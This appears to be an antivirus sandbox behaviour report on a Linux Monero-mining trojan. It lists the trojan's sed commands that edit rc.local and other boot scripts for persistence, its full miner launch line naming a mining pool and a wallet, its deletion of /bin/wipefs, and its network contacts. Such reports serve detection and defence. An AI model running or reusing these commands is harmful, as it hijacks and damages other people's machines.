Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/rc.local
Malicious functions:
Launches itself as a daemon
Launches processes:
- sh -c sed -i -e '/exit/d' /etc/rc.local
- sed -i -e /exit/d /etc/rc.local
- sh -c sed -i -e '/
- sed -i -e /
- sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
- sed -i -e /<SAMPLE> reboot/d /etc/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
- sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
- sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
- sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
- sh -c ./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.f2pool.com:13531 -u 42YsjttAV8PV5jUBA2o5tu84kve7SQ3Jn8fJpfaivDDQKdPWwUBzALdQPUMQYks5NrcURMqy7fucd9YTNMp87utoHRRoBx1.linux -p x -k
- ./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.f2pool.com:13531 -u 42YsjttAV8PV5jUBA2o5tu84kve7SQ3Jn8fJpfaivDDQKdPWwUBzALdQPUMQYks5NrcURMqy7fucd9YTNMp87utoHRRoBx1.linux -p x -k
- sh -c ps -ef|grep xxsdwak<SAMPLE>
- ps -ef
- grep xxsdwak<SAMPLE>
Kills the following processes:
- /tmp/xxsdwak<SAMPLE>
Performs operations with the file system:
Modifies file access rights:
- /etc/sedcL5xOW
- /etc/sedJ4bXnp
- /etc/sedXspGNG
Creates or modifies files:
- /etc/sedcL5xOW
- /etc/sedJ4bXnp
- /etc/sedXspGNG
- /tmp/xxsdwak<SAMPLE>
Deletes files:
- /bin/wipefs
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 11#.###.169.162:13531
DNS ASK:
- xm#.#2pool.com
Sends data to the following servers:
- 11#.###.169.162:13531
Receives data from the following servers:
- 11#.###.169.162:13531
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
